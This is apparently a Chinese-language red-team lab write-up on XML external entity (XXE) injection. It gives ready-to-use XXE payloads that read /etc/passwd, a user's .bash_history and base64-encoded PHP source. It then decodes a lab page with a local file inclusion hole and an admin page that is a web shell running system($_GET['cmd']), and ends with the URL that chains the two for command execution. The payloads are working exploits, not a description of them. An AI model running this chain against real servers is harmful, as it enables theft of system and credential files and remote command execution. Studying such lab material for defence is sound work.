可扩展性标记语言 Extensible Markup Language
xml
是互联网数据传输的重要工具,它可以跨越互联网任何的平台,不受编程语言和操作系统的限制,非常适合Web传输,而且xml有助于在服务器之间穿梭结构化数据,方便开发人员控制数据的存储和传输。
参考资料:https://xz.aliyun.com/t/6754#toc-5
XML external entity (XXE) injection
全称是可扩展性标记语言外部实体注入
案例一
危害:任意文件读取、DOS、命令执行、内网端口探测
poc1 : 读取/etc/passwd
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE abc [ <!ENTITY ab SYSTEM "file:///etc/passwd"> ]>
<root><name>&ab;</name><tel>11111111</tel><email>yb@sq.co</email><password>12345</password></root>
|
poc2: 查看历史记录
prod-admin这个路径是/etc/passwd文件中,存在的路径,查看这个用户输入的历史记录
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE abc [ <!ENTITY ab SYSTEM "file:///home/prod-admin/.bash_history"> ]>
<root><name>&ab;</name><tel>11111111</tel><email>yb@sq.co</email><password>12345</password></root>
|
poc3: 查看php文件
php文件在web服务器不能直接访问,需要通过伪协议进行加密,然后再解密查看
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE abc [ <!ENTITY ab SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/Lab-User.php"> ]>
<root><name>&ab;</name><tel>11111111</tel><email>yb@sq.co</email><password>12345</password></root>
|
PD9waHAKJGZpbGUgPSAkX0dFVFsncGFnZSddOwppZihpc3NldCgkZmlsZSkpCnsKaW5jbHVkZSgiJGZpbGUiKTsKfQplbHNlCnsKaW5jbHVkZSgiaW5kZXguaHRtbCIpOwp9Cj8+Cgo=
Lab-User.php
| <?php $file = $_GET['page']; if(isset($file)) { include("$file"); } else { include("index.html"); } ?>
|
Lab-Admin.php
| PD9waHAKZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsKPz4KCjxodG1sPgo8aGVhZD48dGl0bGU+UmVkIFRlYW0gTGFiPC90aXRsZT48L2hlYWQ+Cjxib2R5Pgo8aDE+IFJlZCBUZWFtIExhYiBBZG1pbmlzdHJhdGlvbjwvaDE+CjwvYm9keT4KPC9odG1sPgo=
<?php echo system($_GET['cmd']); ?>
<html> <head><title>Red Team Lab</title></head> <body> <h1> Red Team Lab Administration</h1> </body> </html>
|
Lab-Admin.php存在命令执行漏洞,而
渗透路径只能访问/var/www/html目录,而Lab-Admin.php路径为/var/www/Lab-Admin.php
所以只能通过本地文件包含漏洞来访问,访问方式为
http://172.16.250.2/Lab-User.php?file=../Lab-Admin.php